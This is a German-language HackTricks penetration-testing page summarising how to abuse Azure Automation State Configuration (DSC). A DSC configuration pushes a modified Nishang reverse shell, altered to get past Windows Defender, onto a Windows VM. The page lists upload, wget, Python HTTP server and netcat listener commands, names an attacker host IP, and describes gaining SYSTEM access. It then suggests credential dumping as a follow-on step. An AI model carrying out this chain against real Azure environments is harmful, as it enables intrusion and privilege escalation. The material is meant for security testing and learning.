Az - State Configuration RCE

Support HackTricks

Überprüfen Sie den vollständigen Beitrag unter: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

Zusammenfassung der Vorbereitung und Schritte zur Remote-Server (C2) Infrastruktur

Übersicht

Der Prozess umfasst die Einrichtung einer Remote-Server-Infrastruktur, um ein modifiziertes Nishang Invoke-PowerShellTcp.ps1 Payload, genannt RevPS.ps1, zu hosten, das darauf ausgelegt ist, Windows Defender zu umgehen. Das Payload wird von einer Kali Linux-Maschine mit der IP 40.84.7.74 über einen einfachen Python HTTP-Server bereitgestellt. Der Vorgang wird in mehreren Schritten ausgeführt:

Schritt 1 — Dateien erstellen

  • Benötigte Dateien: Zwei PowerShell-Skripte sind erforderlich:

  1. reverse_shell_config.ps1: Eine Desired State Configuration (DSC) Datei, die das Payload abruft und ausführt. Sie ist von GitHub erhältlich.

  2. push_reverse_shell_config.ps1: Ein Skript, um die Konfiguration an die VM zu veröffentlichen, verfügbar auf GitHub.

  • Anpassung: Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Benutzers angepasst werden, einschließlich Ressourcennamen, Dateipfade und Server-/Payload-Identifikatoren.

Schritt 2 — Konfigurationsdatei zippen

  • Die reverse_shell_config.ps1 wird in eine .zip-Datei komprimiert, um sie für die Übertragung zum Azure Storage Account vorzubereiten.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

Schritt 3 — Speicher-Kontext festlegen & Hochladen

  • Die gezippte Konfigurationsdatei wird in einen vordefinierten Azure Storage-Container, azure-pentest, mit dem Set-AzStorageBlobContent-Cmdlet von Azure hochgeladen.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

Schritt 4 — Kali-Box vorbereiten

  • Der Kali-Server lädt das RevPS.ps1-Payload aus einem GitHub-Repository herunter.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • Das Skript wird bearbeitet, um die Ziel-Windows-VM und den Port für die Reverse-Shell anzugeben.

Schritt 5 — Konfigurationsdatei veröffentlichen

  • Die Konfigurationsdatei wird ausgeführt, was dazu führt, dass das Reverse-Shell-Skript an dem angegebenen Ort auf der Windows-VM bereitgestellt wird.

Schritt 6 — Payload hosten und Listener einrichten

  • Ein Python SimpleHTTPServer wird gestartet, um die Payload zu hosten, zusammen mit einem Netcat-Listener, um eingehende Verbindungen zu erfassen.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • Die geplante Aufgabe führt die Payload aus und erreicht SYSTEM-Ebene Privilegien.

Fazit

Die erfolgreiche Ausführung dieses Prozesses eröffnet zahlreiche Möglichkeiten für weitere Aktionen, wie z.B. Credential Dumping oder die Ausweitung des Angriffs auf mehrere VMs. Der Leitfaden ermutigt zu weiterem Lernen und Kreativität im Bereich Azure Automation DSC.

Support HackTricks

Last updated